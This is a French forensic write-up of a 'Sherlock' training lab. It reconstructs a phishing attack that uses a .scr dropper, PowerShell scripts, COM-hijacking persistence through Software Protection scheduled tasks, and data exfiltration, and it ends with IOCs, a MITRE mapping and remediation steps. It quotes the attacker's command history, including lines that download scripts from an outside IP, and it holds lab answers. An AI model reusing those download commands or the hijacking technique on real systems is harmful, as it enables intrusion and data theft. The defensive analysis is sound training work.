Lab Sherlock : attaque par phishing bancaire
Machine cible :
10.8.0.100Résultat : ✅ chaîne d’attaque reconstituée, du dropper.scrjusqu’à l’exfiltration, avec deux points restant non confirmés par le lab
Résumé exécutif
Un acteur malveillant a ciblé un employé via un email de phishing contenant en pièce jointe un fichier Banking.scr — un screensaver Windows exécutable au format PE, compilé avec MinGW.
À l’ouverture du fichier, une fenêtre bleue est brièvement apparue puis a disparu, ce qui est caractéristique du comportement d’un dropper. L’attaquant a ensuite téléchargé plusieurs scripts PowerShell depuis son serveur, mis en place une persistance via COM Hijacking, puis procédé à l’exfiltration de données sensibles.
Chronologie de l’attaque
| Heure | Événement |
|---|---|
| 15/07/2024 11:39:53 | Téléchargement et exécution de Banking.scr depuis le dossier Downloads |
| 15/07/2024 ~11:40 | Banking.scr exécute _popen() et lance PowerShell en arrière-plan |
| 15/07/2024 ~11:40 | Téléchargement de search.ps1, inject.ps1 et trans.ps1 depuis 164.92.235.130 |
| 15/07/2024 ~11:40 | Exécution de inject.ps1 avec le CLSID {B1AEBB5D-EAD9-4476-B375-9C3ED9F32AFC} |
| 15/07/2024 ~11:40 | COM Hijacking : svc_host.dll enregistré comme handler COM dans le registre |
| 15/07/2024 ~11:40 | Exécution de search.ps1 pour rechercher des fichiers sensibles |
| 15/07/2024 ~11:40 | Exécution de trans.ps1 pour exfiltrer les données trouvées |
| 15/07/2024 ~12:03 | Installation de OpenVPN Connect comme accès distant alternatif |
| 15/07/2024 ~12:03 | Désactivation de NLA (Network Level Authentication) via file.ps1 |
| 15/07/2024 ~12:03 | Suppression des scripts : rm inject.ps1, rm trans.ps1, rm search.ps1 |
Questions et réponses détaillées
Q1 — Quel est le nom du fichier malveillant (dropper) ?
Réponse :
Banking.scr
Méthode de découverte : navigation dans C:\Users\Administrator\Downloads via l’Explorateur Windows. Le fichier est affiché avec le type Screen saver — extension .scr — mais il s’agit d’un exécutable Windows déguisé en économiseur d’écran.
💡 Les fichiers
.scrsont des exécutables PE valides que Windows traite nativement. Ils peuvent donc contourner certains filtres basiques qui bloquent les extensions.exe.
Get-ChildItem -Path C:\Users -Recurse -File |
Where-Object {
$_.LastWriteTime -ge "2024-07-15 11:30:00" -and
$_.LastWriteTime -le "2024-07-15 12:30:00"
} |
Select-Object FullName, LastWriteTime
FullName LastWriteTime
-------- -------------
C:\Users\Administrator\Downloads\Banking.scr 7/15/2024 11:39:53 AM
Q2 — Quelle est l’IP:Port du serveur C2 du malware ?
Réponse : non déterminée avec certitude.
Analyse : Banking.scr est un exécutable compilé avec MinGW/MSYS2 — GCC 13.1.0.0. L’analyse des imports révèle qu’il n’utilise pas directement de fonctions réseau telles que WinINet ou WinSock. Il utilise plutôt _popen() et _pclose() pour exécuter des commandes shell.
Cela signifie que Banking.scr délègue probablement la communication réseau à un processus enfant, comme PowerShell ou cmd.exe. L’adresse IP du serveur C2 n’est donc pas nécessairement codée directement dans le binaire.
⚠️ Aucun journal réseau détaillé n’était disponible sur la machine : Sysmon était absent, les journaux du pare-feu étaient désactivés et aucun cliché instantané n’était disponible pour capturer la connexion.
$bytes = [System.IO.File]::ReadAllBytes(
'C:\Users\Administrator\Downloads\Banking.scr'
)
$text = -join (
$bytes |
Where-Object { $_ -ge 32 -and $_ -le 126 } |
ForEach-Object { [char]$_ }
)
$text |
Select-String -Pattern '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' -AllMatches
13.1.0.0
Cette valeur correspond à un artefact de version du compilateur MinGW et non à une IP C2 confirmée.
Q3 — Quelle est l’IP du serveur utilisé pour télécharger les fichiers distants ?
Réponse :
164.92.235.130
Méthode de découverte : lecture de l’historique des commandes PowerShell. Par défaut, PowerShell enregistre les commandes saisies dans le fichier ConsoleHost_history.txt, même sans configuration avancée de journalisation.
💡 Cet artefact est souvent oublié par les attaquants lors du nettoyage.
Get-Content `
"C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
Sortie pertinente :
iwr http://164.92.235.130/Banking.scr -OutFile Banking.scr
iwr http://164.92.235.130/search.ps1 -OutFile search.ps1
iwr http://164.92.235.130/inject.ps1 -OutFile inject.ps1
iwr http://164.92.235.130/trans.ps1 -OutFile trans.ps1
Q4 — Quels fichiers l’attaquant a-t-il déposés sur la machine ?
Réponse :
search.ps1 / inject.ps1 / trans.ps1
Analyse : les trois fichiers ont été téléchargés depuis 164.92.235.130 via Invoke-WebRequest, abrégé en iwr, dans PowerShell.
Les scripts ont ensuite été supprimés par l’attaquant afin d’effacer ses traces, notamment avec des commandes de type :
rm .\trans.ps1
rm .\inject.ps1
rm .\search.ps1
Rôle présumé des scripts :
| Script | Rôle présumé |
|---|---|
search.ps1 |
Recherche de fichiers sensibles sur le système, notamment par extension |
inject.ps1 |
Injection d’une DLL malveillante via COM Hijacking ; reçoit un CLSID en paramètre |
trans.ps1 |
Transfert et exfiltration des données trouvées vers le serveur distant |
Q5 — Quel est l’ID MITRE ATT&CK de la technique de persistance ?
Réponse :
T1546.015 — Event Triggered Execution: COM Hijacking
Méthode de découverte : l’historique PowerShell montre l’exécution de inject.ps1 avec le paramètre suivant :
B1AEBB5D-EAD9-4476-B375-9C3ED9F32AFC
Il s’agit d’un GUID de CLSID. La vérification de ce CLSID dans le registre montre que le handler COM légitime a été remplacé par svc_host.dll.
. .\inject.ps1 B1AEBB5D-EAD9-4476-B375-9C3ED9F32AFC
Get-ItemProperty `
"Registry::HKEY_CLASSES_ROOT\CLSID\{B1AEBB5D-EAD9-4476-B375-9C3ED9F32AFC}\InprocServer32"
(default) : C:\Users\ADMINI~1\AppData\Local\Temp\2\st5pkrvd.ftp\svc_host.dll
ThreadingModel : Both
Recherche des tâches planifiées concernées :
Get-ScheduledTask |
ForEach-Object {
$xml = [xml](Export-ScheduledTask `
-TaskName $_.TaskName `
-TaskPath $_.TaskPath
)
if ($xml.OuterXml -match 'B1AEBB5D-EAD9-4476-B375-9C3ED9F32AFC') {
Write-Output "MATCH: $($_.TaskPath)$($_.TaskName)"
}
}
MATCH: \Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask
MATCH: \Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskLogon
MATCH: \Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskNetwork
Explication : le CLSID {B1AEBB5D-EAD9-4476-B375-9C3ED9F32AFC} correspond au composant SppSvcRestartTaskHandler Class, utilisé par les tâches planifiées de Software Protection Platform pour redémarrer le service de licence Windows.
En remplaçant le handler légitime par svc_host.dll, l’attaquant s’assure que sa DLL malveillante sera exécutée automatiquement lorsque ces tâches planifiées se déclenchent. Il s’agit d’une technique furtive qui ne crée pas de nouveau service visible.
Q6 — Quel est le nom du service ciblé ?
Réponse :
Software Protection
⚠️ Réponse indiquée comme non confirmée par le lab.
Analyse : le service Windows ciblé est sppsvc, également appelé Software Protection. Ses tâches planifiées — SvcRestartTask, SvcRestartTaskLogon et SvcRestartTaskNetwork — ont été détournées via COM Hijacking pour exécuter la DLL malveillante.
Get-Service -Name sppsvc |
Select-Object Name, DisplayName
sc.exe qdescription sppsvc
Name DisplayName
---- -----------
sppsvc Software Protection
Description observée :
It is strongly recommended that you not disable the Software Protection service.
Q7 — Quel est le chemin complet du fichier malveillant de persistance ?
Réponse :
C:\Users\Administrator\AppData\Local\Temp\2\st5pkrvd.ftp\svc_host.dll
Méthode : lecture de la clé de registre InprocServer32 associée au CLSID détourné.
ADMINI~1 est le format court Windows 8.3 de Administrator. Le dossier st5pkrvd.ftp utilise une extension atypique afin de masquer son contenu. Le nom svc_host.dll ressemble volontairement à celui du processus légitime svchost.exe.
Get-ItemProperty `
"HKCU:\SOFTWARE\Classes\CLSID\{B1AEBB5D-EAD9-4476-B375-9C3ED9F32AFC}\InprocServer32"
(default) : C:\Users\ADMINI~1\AppData\Local\Temp\2\st5pkrvd.ftp\svc_host.dll
Q8 — Qu’a fait l’attaquant après la persistance ?
Réponse :
C — The attacker proceeded with data exfiltration
Analyse : la séquence observée dans l’historique PowerShell montre clairement :
search.ps1recherche des fichiers sensibles par extension ;trans.ps1transfère les fichiers trouvés vers le serveur distant ;rm .\trans.ps1etrm .\inject.ps1suppriment les scripts afin de nettoyer les traces.
Le nom même des scripts — search pour chercher et trans pour transférer — confirme l’intention d’exfiltration.
ℹ️ Aucune preuve de mouvement latéral, de dump SAM/hash ou de création de compte administrateur n’a été trouvée.
Q9 — Quelles extensions l’attaquant cible-t-il pour l’exfiltration ?
Réponse soumise :
B (log), C (txt), E (kdbx)
⚠️ Réponse indiquée comme non confirmée par le lab.
Analyse et raisonnement : le script search.ps1 a été supprimé et n’a pas pu être récupéré : aucun cliché instantané ni Volume Shadow Copy n’était disponible.
Le raisonnement repose donc sur le contexte de l’attaque bancaire et sur les options proposées :
- B.
log— journaux pouvant contenir des tokens, des sessions ou des identifiants en clair - C.
txt— fichiers fréquemment utilisés pour stocker des mots de passe, notes ou identifiants - E.
kdbx— bases de données KeePass contenant des mots de passe, particulièrement intéressantes pour un attaquant ciblant des données bancaires ou financières
Options moins probables :
- A.
sql— possible, mais moins ciblé dans ce contexte - D.
svg— format d’image vectoriel, peu intéressant pour l’exfiltration de données - F.
ini/ G.conf— fichiers de configuration système, généralement moins susceptibles de contenir directement des données financières
Indicateurs de compromission — IOC
| Type | Valeur | Description |
|---|---|---|
| Fichier | Banking.scr |
Dropper initial distribué par phishing |
| Fichier | svc_host.dll |
DLL malveillante utilisée pour la persistance COM |
| IP | 164.92.235.130 |
Serveur de téléchargement des scripts |
| Chemin | C:\Users\Administrator\AppData\Local\Temp\2\st5pkrvd.ftp\svc_host.dll |
DLL de persistance |
| CLSID | {B1AEBB5D-EAD9-4476-B375-9C3ED9F32AFC} |
CLSID COM détourné |
| Registre | HKCU\SOFTWARE\Classes\CLSID\{B1AEBB5D...}\InprocServer32 |
Clé de persistance COM |
| Scripts | search.ps1, inject.ps1, trans.ps1 |
Scripts malveillants, supprimés après utilisation |
| Tâches | \Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask* |
Tâches planifiées détournées |
Chaîne d’attaque — MITRE ATT&CK
| Phase | Technique | ID | Description |
|---|---|---|---|
| Initial Access | Phishing Attachment | T1566.001 |
Email contenant Banking.scr en pièce jointe |
| Execution | User Execution | T1204.002 |
Ouverture de Banking.scr par l’employé |
| Execution | Command and Scripting Interpreter: PowerShell | T1059.001 |
Exécution de scripts PowerShell |
| Persistence | COM Hijacking | T1546.015 |
svc_host.dll enregistré comme handler COM |
| Defense Evasion | File Deletion | T1070.004 |
Suppression des scripts avec rm |
| Defense Evasion | Masquerading | T1036 |
svc_host.dll ressemble à svchost.exe |
| Collection | File and Directory Discovery / File Search | T1083 |
search.ps1 recherche les fichiers sensibles |
| Exfiltration | Exfiltration Over C2 Channel | T1041 |
trans.ps1 transfère les données |
Recommandations de remédiation
Actions immédiates
- Isoler immédiatement la machine du réseau.
- Supprimer la clé de registre :
HKCU\SOFTWARE\Classes\CLSID\{B1AEBB5D-EAD9-4476-B375-9C3ED9F32AFC} - Supprimer le fichier
svc_host.dllet son dossier parent. - Réactiver la NLA (Network Level Authentication) sur RDP.
- Réinitialiser tous les mots de passe de la machine.
- Bloquer
164.92.235.130au niveau du pare-feu.
Actions à long terme
- Déployer Sysmon sur tous les postes afin d’améliorer la visibilité réseau et processus.
- Activer les journaux du pare-feu Windows, notamment
LogAllowedetLogBlocked. - Activer l’audit PowerShell : Script Block Logging et Module Logging.
- Former les employés à identifier les pièces jointes suspectes, notamment
.scr,.js,.htaet.lnk. - Mettre en place une solution EDR capable de détecter le COM Hijacking en temps réel.
Leçons retenues
- Une extension
.screst un exécutable PE à part entière — elle contourne souvent les filtres qui ne bloquent que.exe, un point à intégrer dans toute formation de sensibilisation au phishing. - L’absence de Sysmon et de journaux pare-feu a directement empêché de confirmer l’IP:Port exact du C2 (Q2) — un rappel que la visibilité réseau doit être en place avant l’incident, pas après.
ConsoleHost_history.txtest un artefact PowerShell simple mais souvent oublié par les attaquants lors du nettoyage ; il peut suffire à reconstituer une chronologie complète même quand les scripts eux-mêmes ont été supprimés.- Le COM Hijacking via une tâche planifiée système légitime (Software Protection Platform) est une technique de persistance furtive : elle ne crée aucun nouveau service visible et se fond dans l’activité normale de Windows.
- Documenter explicitement les réponses “non confirmées par le lab” (Q6, Q9) plutôt que de les présenter comme certaines est une bonne pratique à conserver dans un rapport DFIR.
Références
- Technique MITRE ATT&CK T1546.015 — Event Triggered Execution: COM Hijacking
- Technique MITRE ATT&CK T1566.001 — Phishing: Spearphishing Attachment
- Technique MITRE ATT&CK T1070.004 — Indicator Removal: File Deletion
- Technique MITRE ATT&CK T1041 — Exfiltration Over C2 Channel
Rapport généré dans le cadre du lab Sherlock — sec-dojo.com.